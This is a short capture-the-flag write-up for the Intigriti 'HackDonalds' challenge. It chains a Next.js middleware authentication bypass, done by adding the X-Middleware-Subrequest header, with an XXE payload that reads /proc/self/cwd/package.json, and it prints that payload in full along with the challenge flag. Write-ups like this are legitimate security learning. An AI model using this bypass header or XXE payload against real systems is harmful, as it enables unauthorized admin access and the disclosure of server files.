HackDonalds Challenge Writeup

Description:

The challenge was solved by chaining an authentication bypass with an XXE vulnerability. By adding the HTTP header X-Middleware-Subrequest: middleware, the application mistakenly granted access to restricted admin functionality without proper authentication. This allowed interaction with sensitive internal features that would normally require admin privileges. Using this access, an XML External Entity (XXE) payload was submitted to an XML-processing endpoint. The XXE payload was crafted to read the file package.json from the application’s current working directory via the symbolic path /proc/self/cwd/package.json. This file contained the challenge flag, confirming that both the authentication bypass and XXE were successfully exploited.

POC:

1. I have bypass the login with this header X-Middleware-Subrequest: middleware directly access into admin

2. Click on Ice Cream Machines then click on view settings

3. i have used this payload in the XML Configuration Settings

4. Finally grab the flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///proc/self/cwd/package.json">
]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Flag :

INTIGRITI{XXE_Redacted_M4ch1n3s}

Reference :

1. https://app.intigriti.com/researcher/programs/intigriti/challenge-hackdonalds/detail
2. https://nagasaikiran.com/middleware-mishap-a-deep-dive-into-next-js-cve-2025-29927/